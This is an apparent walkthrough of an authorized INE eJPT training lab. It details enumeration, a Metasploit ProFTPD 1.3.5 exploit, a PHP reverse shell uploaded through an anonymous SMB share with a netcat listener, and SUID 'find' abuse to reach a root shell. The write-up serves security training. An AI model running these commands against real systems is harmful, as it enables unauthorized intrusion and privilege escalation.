Two targets, target1 and target2. Enumerate, exploit misconfigurations, and capture four MD5 flags.
Two machines are accessible at target1.ine.local and target2.ine.local. Enumerate the targets, exploit the misconfigurations or vulnerabilities, and capture the flags. Each flag is an MD5 hash.
target1. Retrieve the flag from the root directory.target1 may reveal this flag. Use the previous hint.target2 may grant access. Retrieve the flag from the root directory.target2 and read the flag from /root.FLAG1{MD5Hash} — submit only the hash inside the braces.All work is performed against an authorized INE training lab for eJPT exam preparation.
ip addr
cat /etc/hosts
nmap -sV -sC -Pn -p- -A 192.175.131.3
dirb http://192.175.131.3
Nmap reveals ProFTPD 1.3.5, which has a well-known exploit. Confirm and exploit with Metasploit:
msfconsole
search ftp ProFTPD 1.3.5
use 0
show options
set RHOSTS target1.ine.local
set LHOST 192.175.131.3
set SITEPATH /var/www/html
exploit
searchsploit (Exploit-DB CLI) and Metasploit's search both confirm a public exploit exists.Interact with the session and find the flag:
sessions
sessions -i 1
pwd
ls
whoami
cd /
cat flag1.txt
The flag 1 hint points to a service listening only on localhost. Find it and connect:
netstat -tuln | grep 127.0.0.1
nc -nv 127.0.0.1 8888
When prompted, provide the passphrase: letmein
nmap -sC -sV -Pn -A -p- 192.175.131.4
enum4linux -a 192.175.131.4
One SMB share (site-uploads) allows anonymous mapping and is served over HTTP at http://192.175.131.4/site-uploads/. A file uploaded over SMB can therefore be executed through the web server.
Prepare a PHP reverse shell and edit its IP/port:
cp /usr/share/webshells/php/php-reverse-shell.php .
nano php-reverse-shell.php
$ip = '192.175.131.3'; // CHANGE THIS to your IP
$port = 1234; // CHANGE THIS to your port
Upload it over SMB (leave the password blank):
smbclient //target2.ine.local/site-uploads
# Password: (just press Enter)
smb> put php-reverse-shell.php
Start a listener, then trigger the shell by clicking it in the browser:
nc -lvnp 1234
Once the shell lands:
pwd
whoami
ls
cat flag3.txt
findSearch for SUID binaries:
find / -perm -4000 -type f 2>/dev/null
| Part | Meaning |
|---|---|
find / | Search from the filesystem root |
-perm -4000 | Files with the SUID bit set |
-type f | Regular files only |
2>/dev/null | Hide permission-denied errors |
SUID files run with the privileges of their owner (often root). find appears in the list, and per GTFOBins it can be abused to spawn a privileged shell:
find / -exec /bin/bash -p \; -quit
/bin/bash -p is preferred over rbash -p here — rbash is a *restricted* shell that limits cd, PATH changes, and commands containing /.With the root shell: cat /root/flag4.txt
| Flag | Technique |
|---|---|
| 1 | ProFTPD 1.3.5 exploit via Metasploit |
| 2 | Interacting with a localhost-only service (netstat → netcat) |
| 3 | Anonymous SMB upload + HTTP execution of a PHP reverse shell |
| 4 | SUID find abuse (GTFOBins) for privilege escalation to root |
127.0.0.1 isn't reachable remotely — but it is once you have a foothold. Always run netstat after landing a shell.find / -perm -4000 is the first privesc check on Linux; cross-reference with GTFOBins.